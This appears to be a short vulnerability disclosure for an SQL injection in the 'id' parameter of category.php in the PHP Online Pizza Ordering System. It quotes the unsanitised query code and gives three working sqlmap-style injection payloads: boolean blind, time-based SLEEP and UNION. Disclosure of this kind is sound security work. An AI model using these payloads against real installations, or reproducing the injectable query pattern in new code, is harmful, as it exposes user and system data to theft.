

SQL injection vulnerability exists in id parameter of category.php file of Online Pizza Ordering System. Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users. When visit index.php and get parameter is 'category', it will include category.php, and id parameter can do sql injection.

```

index.php
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80 $page = isset($_GET['page']) ? $_GET['page'] : "home";
81 include $page.'.php';
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category.php
1
2 $cid = $_GET['id'] ?? "";
3 if(empty($cid)){
4     throw new \Exception("Error: This page requires a category ID.");
5 }
6 $category_qry = $conn->query("SELECT * FROM `category_list`
7     where `id` = '{$cid}'");
8 if($category_qry->num_rows > 0){
9     $data = $category_qry->fetch_assoc();
10

```

```

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=category&id=3' AND 8609=8609-- ZkYk

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=category&id=3' AND (SELECT 4572 FROM (SELECT(SLEEP(5)))gjKB)-- AsOl

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: page=category&id=-8981' UNION ALL SELECT NULL,CONCAT(0x716a717171,0x656c684f56616d515268644e654c59535450756e624f645157514f68675877554877736e54775870,0x7178717171)-- --

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Source Download:

[https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.ht](https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html)
ml